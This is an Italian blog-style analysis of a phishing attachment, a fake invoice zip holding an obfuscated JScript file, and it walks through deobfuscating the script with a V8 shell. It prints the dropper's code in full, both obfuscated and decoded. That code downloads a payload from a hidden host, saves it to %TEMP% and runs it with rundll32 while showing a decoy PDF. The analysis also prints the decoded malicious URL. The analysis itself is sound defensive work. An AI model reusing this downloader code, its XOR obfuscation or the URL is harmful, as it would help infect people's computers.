Capita a tutti di ricevere email con allegati sospetti. I più distratti finiscono per aprire tali allegati, spesso verosimili, e finire per infettare il proprio pc con qualche virus.
Approfittiamo di una mail di questo tipo per analizzare un caso specifico:
Proviamo a verificare il contenuto del file compresso che promette di essere una fattura:
Archive: fattura_82902_del_08_10_2015.zip
Length Date Time Name
-------- ------------ ------ -------
4890 20151008 23:24 fattura_no_04417325.js
19 20151008 23:24 scrittura_66662572.txt
-------- ------------ ------ -------
4909 2 files
Un file .js (javascript) è un tantino sospetto come fattura.
Controllandone il contenuto si potrà vedere uno script monoriga "offuscato", di cui riportiamo la parte finale per brevità:
%;\x1d\x14\x0b9\x04pSC6+OIZCmvbcZC$0bk9\x05\x045:)\x149+\x1e/\x0d\x1c\x08\x1b\x7fb8wimvbcZCmvbcZC/
$\x27"\x11X@\x5cbcZCmvbc\x07X@\x5cbcZC0mOI\x07X@\x5c\x09\x02\x12\x12 \x0c
%;\x1d\x14\x0b9\x04kXAdmOI1"%\x27/\x19\x1d\x1b*!\x04,<Kop2\x27\x1c^\x1b\x10:\x06>0!\x0c`jA';for (var
QSrigcVg = "", FvteDVHyyuij6 = 0, FvteDVHyyuij7 = 0; FvteDVHyyuij6 < QlbcPc.length; FvteDVHyyuij6++)
QSrigcVg += String.fromCharCode(QlbcPc.charCodeAt(FvteDVHyyuij6) ^
FadFhrslN.charCodeAt(FvteDVHyyuij7)), FvteDVHyyuij7++, FvteDVHyyuij7 == FadFhrslN.length &&
(FvteDVHyyuij7 = 0);eval ( QSrigcVg ) ;
Per vedere "in chiaro" il contenuto dello script generato ed eseguito al volo, abbiamo bisogno di un interprete javascript.
Su ubuntu/debian possiamo procurarcelo facilmente:
apt-get install libv8-dev
Poi copiamo l'esempio di interprete fornito con questo pacchetto:
cp /usr/share/doc/libv8-dev/examples/shell.cc.gz
e lo scompattiamo e compiliamo:
gunzip shell.cc.gz
g++ -Os shell.cc -o jscli -lv8
Fatto questo, torniamo allo script e sostituiamo:
eval ( QSrigcVg ) ;
con:
print ( QSrigcVg ) ;
poi, avendo salvato il risultato in test.js possiamo eseguire lo script a video:
. /jscli test.js
oppure salvare il risultato su un file:
./jscli test.js > clear.js
ecco comunque il risultato:
KAhqmZgxgwFoF8 = "0810DTIT";
function KAhqmZgxgwFoF(IpjYsOBAdyYsOW) {
var KAhqmZgxgwFoF4 = '+ \x14\x14\x179<\x1a\x08\x17<<\x1f\x06t;&\x1cLP :
(\x1f\x05\x169\x27\x15o\x136/\x1eLP +=\x14\x11\x0a7 \x1f\x15t6,\x05LP
=;\x18\x0a\x09+&\x1f\x04\x16=*\x05\x13\x13;G\x12\x0e\x17uc \x11\x1d42;V\x02+LP
>:\x13\x0e\x0a9;\x05\x0f\x1f*:\x7f\x0e\x08?d[ .(\x1f\x12\x1e=
%\x04\x19\x097<\x07\x04\x141;\x7f\x02\x155d['.split(" ");
if (IpjYsOBAdyYsOW == "") {
GfzsgzcYH = ".dll";
} else {
GfzsgzcYH = ".pdf";
};
for (var gymJnW = 0; gymJnW < KAhqmZgxgwFoF4.length; gymJnW++) {
var rpKrD = new ActiveXObject("WScript.Shell");
wdahSAxXCeS = rpKrD.ExpandEnvironmentStrings("%TEMP%") + "\\" + Math.round(1e8 *
Math.random()) + GfzsgzcYH;
CfIcxjnZfHmNfkV = false;
KAhqmZgxgwFoF0 = new ActiveXObject("MSXML2.XMLHTTP");
KAhqmZgxgwFoF0.onreadystatechange = function() {
if (4 == KAhqmZgxgwFoF0.readyState && 200 == KAhqmZgxgwFoF0.status) {
var KAhqmZgxgwFoF1 = new ActiveXObject("ADODB.Stream");
if (KAhqmZgxgwFoF1.open(), KAhqmZgxgwFoF1.type = 1,
KAhqmZgxgwFoF1.write(KAhqmZgxgwFoF0.ResponseBody), 5e3 < KAhqmZgxgwFoF1.size) {
CfIcxjnZfHmNfkV = true;
KAhqmZgxgwFoF1.position = 0;
KAhqmZgxgwFoF1.saveToFile(wdahSAxXCeS, 2);
try {
if (IpjYsOBAdyYsOW == "") {
rpKrD.Exec("rundll32 " + wdahSAxXCeS + ", " +
"DllRegisterServer");
} else {
rpKrD.Run(wdahSAxXCeS, 1, 0);
};
} catch (KAhqmZgxgwFoF2) {}
}
KAhqmZgxgwFoF1.close()
}
};
try {
var FadFhrslN = 'xiQAZ';
var QlbcPc = KAhqmZgxgwFoF4[gymJnW];
for (var QSrigcVg = "", FvteDVHyyuij6 = 0, FvteDVHyyuij7 = 0; FvteDVHyyuij6 <
QlbcPc.length; FvteDVHyyuij6++) QSrigcVg += String.fromCharCode(QlbcPc.charCodeAt(FvteDVHyyuij6) ^
FadFhrslN.charCodeAt(FvteDVHyyuij7)), FvteDVHyyuij7++, FvteDVHyyuij7 == FadFhrslN.length &&
(FvteDVHyyuij7 = 0);
KAhqmZgxgwFoF0.open("GET", "http://" + QSrigcVg + "/get_new.php?WgexhmAYgNppw=" +
Math.random() + "&key=" + KAhqmZgxgwFoF8 + IpjYsOBAdyYsOW, false);
KAhqmZgxgwFoF0.send();
} catch (KAhqmZgxgwFoF3) {}
if (CfIcxjnZfHmNfkV) {
break;
};
};
};
KAhqmZgxgwFoF("");
KahqmZgxgwFoF("&pdf=VFxEDSlZ");
Quindi ricapitolando, in base al testo sottolineato, l'utente distratto che proverà ad aprire il file .zip e ad eseguire il .js si ritroverà, aperto nel browser, un file pdf del tutto simile ad una fattura mentre contemporaneamente il .js provvederà a scaricare ed eseguire un virus nella directory temporanea di download.
Anche qua c'è comunque del testo offuscato, precisamente il link dal quale avverà il download del virus vero e proprio e il pdf della fattura finta.
Dunque sostituiamo questo secondo script:
KAhqmZgxgwFoF8 = "0810DTIT";
var KAhqmZgxgwFoF4 = '+ \x14\x14\x179<\x1a\x08\x17<<\x1f\x06t;&\x1cLP :
(\x1f\x05\x169\x27\x15o\x136/\x1eLP +=\x14\x11\x0a7 \x1f\x15t6,\x05LP
=;\x18\x0a\x09+&\x1f\x04\x16=*\x05\x13\x13;G\x12\x0e\x17uc \x11\x1d42;V\x02+LP
>:\x13\x0e\x0a9;\x05\x0f\x1f*:\x7f\x0e\x08?d[ .(\x1f\x12\x1e=
%\x04\x19\x097<\x07\x04\x141;\x7f\x02\x155d['.split(" ");
var FadFhrslN = 'xiQAZ';
IpjYsOBAdyYsOW = "" ;
var QlbcPc = KAhqmZgxgwFoF4[1];
for (var QSrigcVg = "", FvteDVHyyuij6 = 0, FvteDVHyyuij7 = 0; FvteDVHyyuij6 <
QlbcPc.length; FvteDVHyyuij6++) QSrigcVg += String.fromCharCode(QlbcPc.charCodeAt(FvteDVHyyuij6) ^
FadFhrslN.charCodeAt(FvteDVHyyuij7)), FvteDVHyyuij7++, FvteDVHyyuij7 == FadFhrslN.length &&
(FvteDVHyyuij7 = 0);
*/ /* KAhqmZgxgwFoF0.open("GET", "http://" + QSrigcVg + "/get_new.php?WgexhmAYgNppw=" +
Math.random() + "&key=" + KAhqmZgxgwFoF8 + IpjYsOBAdyYsOW, false);
print("http://" + QSrigcVg + "/get_new.php?WgexhmAYgNppw=" + Math.random() + "&key=" +
KAhqmZgxgwFoF8 + IpjYsOBAdyYsOW, false);
/* KAhqmZgxgwFoF0.send();
KAhqmZgxgwFoF("");
KAhqmZgxgwFoF("&pdf=VFxEDSlZ");
*/
ed eseguendolo, ecco finalmente la nostra stringa:
http://BANDLAND.INFO/get_new.php?WgexhmAYgNppw=0.3442128037568182&key=0810DTIT
Naturalmente se proveremo ad avvicinarci a badland.info con un browser, verremo avvisati che il sito è pericoloso e che le peggio cose potrebbero capitarci qualora decidessimo di ignorare gli avvisi e continuare la navigazione su tale sito.
I più curiosi, possono andare su http://www.whois.com inserire il nome del dominio in questione e verificare a chi è intestato e, quasi sicuramente, notare come gli intestatari si avvicendino relativamente spesso tornando a controllare saltuariamente.